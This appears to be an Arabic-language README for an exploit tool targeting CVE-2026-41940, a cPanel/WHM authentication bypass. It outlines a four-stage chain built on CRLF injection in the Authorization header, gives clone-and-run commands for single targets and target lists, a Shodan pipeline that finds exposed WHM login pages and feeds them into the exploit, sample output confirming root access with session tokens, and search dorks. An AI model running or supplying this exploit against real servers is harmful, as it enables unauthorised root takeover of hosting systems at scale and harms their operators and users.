┌─────────────────────────────────────────────────────────────┐
│  المرحلة 1  ──  إنشاء كوكي جلسة قبل المصادقة              │
│  المرحلة 2  ──  حقن CRLF عبر ترويسة `Authorization`       │
│  المرحلة 3  ──  تشغيل `do_token_denied` (خام → كاش)       │
│  المرحلة 4  ──  التحقق من صلاحية جذر WHM عبر JSON API     │
└─────────────────────────────────────────────────────────────┘

git clone https://github.com/0xgh057r3c0n/CVE-2026-41940.git && cd CVE-2026-41940

./CVE-2026-41940.py -u https://target.com:2087

./CVE-2026-41940.py -l targets.txt -t 20 -o results.json

shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | ./CVE-2026-41940.py -t 30

$ ./CVE-2026-41940.py -u https://192.168.1.100:2087

  الإعدادات:
   الأهداف   : 1
   الخيوط    : 10
   المهلة    : 15 ثانية
   الإجراء   : فحص فقط

[10:23:15] [SCAN] بدء سلسلة استغلال من 4 مراحل... https://192.168.1.100:2087
[10:23:15] [INFO] تم اكتشاف اسم المضيف الأساسي: server.example.com
[10:23:15] [STEP] المرحلة 1/4 — إنشاء جلسة قبل المصادقة...
[10:23:16] [  OK] المرحلة 1: جلسة قبل المصادقة = 9a7f8e3d2c1b0a9f
[10:23:16] [STEP] المرحلة 2/4 — حقن CRLF عبر ترويسة Authorization...
[10:23:17] [  OK] المرحلة 2: HTTP 302 ← رمز=/cpsess1234567890
[10:23:17] [STEP] المرحلة 3/4 — تشغيل أداة do_token_denied (خام→كاش)...
[10:23:18] [  OK] المرحلة 3: HTTP 401 — تم تشغيل أداة do_token_denied
[10:23:18] [STEP] المرحلة 4/4 — التحقق من صلاحية جذر WHM...
[10:23:18] [INFO] المرحلة 4: HTTP 200  {"version":"11.118.0.63",...}
[10:23:18] [PWND] تم تأكيد CVE-2026-41940 — صلاحية جذر WHM! (v11.118.0.63 — مؤكد أنه قابل للاختراق)
[10:23:18] [PWND]   الرمز    : /cpsess1234567890
[10:23:18] [PWND]   الجلسة   : 9a7f8e3d2c1b0a9f
[10:23:18] [PWND]   الإصدار  : 11.118.0.63
[10:23:18] [PWND]   رابط API : https://192.168.1.100:2087/cpsess1234567890/json-api/version

  CVE-2026-41940 — اكتمل الفحص
  الوقت: 3.2 ثانية  ·  الأهداف: 1

  1 هدف قابل للاختراق

  [*] الهدف    : https://192.168.1.100:2087
  [*] الإصدار  : 11.118.0.63
  [*] الرمز    : /cpsess1234567890
  [*] رابط API : https://192.168.1.100:2087/cpsess1234567890/json-api/version
  [*] الجلسة   : 9a7f8e3d2c1b0a9f
  [*] الدليل   : {"version":"11.118.0.63",...}

title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087